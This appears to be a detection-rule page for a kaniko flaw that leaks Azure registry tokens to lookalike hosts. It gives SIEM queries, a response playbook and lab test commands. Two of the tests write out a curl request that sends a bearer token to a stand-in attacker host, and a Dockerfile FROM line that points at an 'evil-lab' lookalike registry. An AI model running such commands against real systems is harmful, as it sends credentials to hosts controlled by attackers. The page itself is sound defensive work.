kaniko ACR Token Leak to Lookalike Registry Hosts (CVE-2026-105769)
Detects conditions and runtime behavior related to CVE-2026-105769, where the kaniko container image builder (github.com/chainguard-dev/kaniko before v1.25.20) may transmit the build's Azure Entra ID (Azure AD) access token to lookalike Azure Container Registry (ACR) hosts. The docker-credential-acr-env helper matched registry hostnames too loosely (CWE-346 Origin Validation Error / CWE-522 Insufficiently Protected Credentials), so a crafted base image or FROM reference pointing at an attacker-controlled host resembling *.azurecr.io could receive a valid bearer token usable against the victim's real ACR. This detection surfaces vulnerable kaniko versions in build pipelines and outbound token-bearing requests from kaniko/CI hosts to non-canonical ACR-lookalike destinations.
Vulnerability Intelligence
TheoreticalAffected Software
- Vendor
- go
- Product
- github.com/chainguard-dev/kaniko
- Versions
- < 1.25.20
Timeline
- Disclosed
- November 5, 2026
References & Proof of Concept
- https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97
- https://nvd.nist.gov/vuln/detail/CVE-2026-105769
- https://github.com/chrismellard/docker-credential-acr-env/issues/21
- https://github.com/chainguard-forks/kaniko/pull/495
- https://github.com/chainguard-forks/kaniko/commit/08de01fe7fffaeb6bc030efa9eae723ea2dd4405
- https://github.com/chainguard-forks/kaniko/commit/58915b22dbeca4d936d6bb51c0c889baf6ebbc48
- https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20
- https://pkg.go.dev/vuln/GO-2026-6225
- https://github.com/advisories/GHSA-5q7h-w9jf-cx97
CVSS
- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- Required
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- None
What is CVE-2026-105769 kaniko ACR Token Leak to Lookalike Registry Hosts (CVE-2026-105769)?
kaniko ACR Token Leak to Lookalike Registry Hosts (CVE-2026-105769) (CVE-2026-105769) maps to the Credential Access and Initial Access tactics — the adversary is trying to steal account names and passwords in MITRE ATT&CK.
This page provides production-ready detection logic for kaniko ACR Token Leak to Lookalike Registry Hosts (CVE-2026-105769), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, DeviceNetworkEvents, DeviceProcessEvents. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Credential Access Initial Access
// df00tech DF00-688dca95d1 · https://df00tech.com/detections/CVE-2026-105769 · licence: https://df00tech.com/detections/licence
let canonicalAcr = dynamic([".azurecr.io", ".azurecr.cn", ".azurecr.us"]);
let acrLookalike = @'(?i)(azurecr|azur[e3]cr|acr-|azureecr|azurecr-)';
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("kaniko", "executor", "docker-credential-acr-env", "buildkitd")
or InitiatingProcessCommandLine has_any ("kaniko", "docker-credential-acr-env")
| extend Host = tostring(RemoteUrl)
| where isnotempty(Host)
| where Host matches regex acrLookalike
| where not(Host endswith ".azurecr.io" or Host endswith ".azurecr.cn" or Host endswith ".azurecr.us")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessAccountName
| order by Timestamp desc Flags network connections from kaniko/ACR credential-helper processes to hosts that resemble Azure Container Registry names but are not on the canonical azurecr.io/.cn/.us domains, which is where the leaked Entra ID token would be sent.
Data Sources
Required Tables
False Positives
- Legitimate private or air-gapped ACR mirror hosts that intentionally use non-canonical hostnames
- Internal registry proxies or pull-through caches named to resemble azurecr for convenience
- Security scanners or SBOM tools that probe registry hostnames during image analysis
Query fingerprint DF00-688dca95d1 · licence
Sigma logsource & community rules
The detection logic for kaniko ACR Token Leak to Lookalike Registry Hosts (CVE-2026-105769) (CVE-2026-105769) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-105769
References (9)
- https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97
- https://nvd.nist.gov/vuln/detail/CVE-2026-105769
- https://github.com/chrismellard/docker-credential-acr-env/issues/21
- https://github.com/chainguard-forks/kaniko/pull/495
- https://github.com/chainguard-forks/kaniko/commit/08de01fe7fffaeb6bc030efa9eae723ea2dd4405
- https://github.com/chainguard-forks/kaniko/commit/58915b22dbeca4d936d6bb51c0c889baf6ebbc48
- https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20
- https://pkg.go.dev/vuln/GO-2026-6225
- https://github.com/advisories/GHSA-5q7h-w9jf-cx97
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Vulnerable kaniko version present in build image
Expected signal: Process execution of /kaniko/executor with version output logged by EDR.
- Test 2 ACR credential helper invoked against lookalike host
Expected signal: Network/DNS event from docker-credential-acr-env or curl to an azurecr-lookalike host not ending in .azurecr.io.
- Test 3 kaniko build with untrusted base image reference
Expected signal: kaniko executor process event plus outbound resolution/connection to the lookalike registry host.
Response Playbook
Triage
- Identify the kaniko version in use on the affected build host or image (check the executor binary version or base image tag); confirm whether it is below v1.25.20 and therefore vulnerable.
- Review the destination hostname that triggered the alert and determine whether it is a legitimate internal ACR mirror or an unknown/attacker-controlled lookalike (e.g. azurecr vs azur3cr, extra suffixes, non-Azure IP ownership).
- Inspect the Dockerfile / build context FROM lines and --cache-repo / registry arguments passed to kaniko for references to the suspicious host.
- Check whether an Azure Entra ID access token or bearer credential was actually transmitted to the suspicious host by reviewing proxy/TLS SNI and HTTP Authorization-bearing request telemetry.
Containment
- Immediately revoke/rotate the Azure Entra ID (managed identity or service principal) credentials and any ACR tokens used by the affected build pipeline.
- Block egress from build/CI hosts to the identified lookalike host(s) at the firewall/proxy and quarantine the affected build runner.
- Pin or upgrade kaniko to v1.25.20 or later across all build pipelines and remove untrusted base image references.
Evidence Collection
- Capture the full kaniko build logs, command line, and the resolved FROM/base-image references for the affected build.
- Preserve network connection and DNS logs showing the connection to the lookalike host, including TLS SNI and any HTTP request metadata.
Escalation Criteria
- ! Escalate to incident response if telemetry confirms a bearer token or Authorization header was sent to a non-canonical, externally-owned ACR-lookalike host.
- ! Escalate if the leaked identity has push/pull or broader Azure permissions that could enable image poisoning or lateral movement into the Azure tenant.
Investigation Guide
Forensic Artifacts
- >
kaniko executor build logs and command-line arguments - >
docker-credential-acr-env invocations and their resolved registry hostnames - >
DNS resolution and network connection records from the build host to the lookalike domain
Tuning Guidance
Build an allowlist of your organization's legitimate ACR hostnames (including sanctioned internal mirrors and private DNS aliases) and exclude them from the detection to reduce noise. Focus alerting on connections to hosts that resemble azurecr but resolve to IPs outside Microsoft/Azure ownership. If you can observe HTTP Authorization headers or TLS SNI, prioritize events where a bearer token is actually present over mere DNS lookups.
Hunting Queries
Hunt for any kaniko/credential-helper connections to ACR-lookalike hosts not on canonical Azure domains over a wide lookback window.
// df00tech DF00-688dca95d1 · https://df00tech.com/detections/CVE-2026-105769 · licence: https://df00tech.com/detections/licence
DeviceNetworkEvents | where InitiatingProcessCommandLine has_any ("kaniko","docker-credential-acr-env") | where RemoteUrl matches regex @'(?i)azurecr' and not(RemoteUrl endswith ".azurecr.io") | summarize count() by DeviceName, RemoteUrl ``` df00tech DF00-688dca95d1 · https://df00tech.com/detections/CVE-2026-105769 · licence: https://df00tech.com/detections/licence ```
index=* (command="*kaniko*" OR command="*docker-credential-acr-env*") | regex dest_host="(?i)azurecr" | search NOT dest_host="*.azurecr.io" | stats count by host dest_host Atomic Red Team Tests
Verifies a kaniko executor binary below the fixed v1.25.20 is present, representing exposure to CVE-2026-105769.
Command
/kaniko/executor version 2>&1 | grep -E 'v1\.(2[0-4]|25\.(1?[0-9])\b)' && echo 'VULNERABLE kaniko version detected' Cleanup
echo 'no changes made' Expected Telemetry
Process execution of /kaniko/executor with version output logged by EDR.
Expected Detection
Inventory/vuln detection flags the kaniko version as below 1.25.20.
Simulates kaniko's ACR credential helper resolving credentials for a non-canonical ACR-lookalike hostname in a lab.
Command
echo 'myregistry.azurecr.io.attacker-lab.example' | docker-credential-acr-env get || curl -s -H 'Authorization: Bearer TEST.TOKEN.LAB' https://myregistry.azurecr.io.attacker-lab.example/v2/ -o /dev/null Cleanup
echo 'no persistent changes' Expected Telemetry
Network/DNS event from docker-credential-acr-env or curl to an azurecr-lookalike host not ending in .azurecr.io.
Expected Detection
Detection fires on the credential-helper/kaniko connection to a non-canonical ACR-lookalike destination.
Runs a kaniko build whose FROM line points at an ACR-lookalike host in a sandboxed lab to exercise token-leak path.
Command
printf 'FROM test.azurecr.io.evil-lab.example/base:latest\nRUN true\n' > /tmp/Dockerfile.lab && /kaniko/executor --dockerfile=/tmp/Dockerfile.lab --no-push --context=/tmp 2>&1 | tail -n 20 Cleanup
rm -f /tmp/Dockerfile.lab Expected Telemetry
kaniko executor process event plus outbound resolution/connection to the lookalike registry host.
Expected Detection
Detection correlates the kaniko process with egress to the ACR-lookalike host.
Related Detections
Related Techniques
Same Tactic: Credential Access
Blog posts about this detection
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040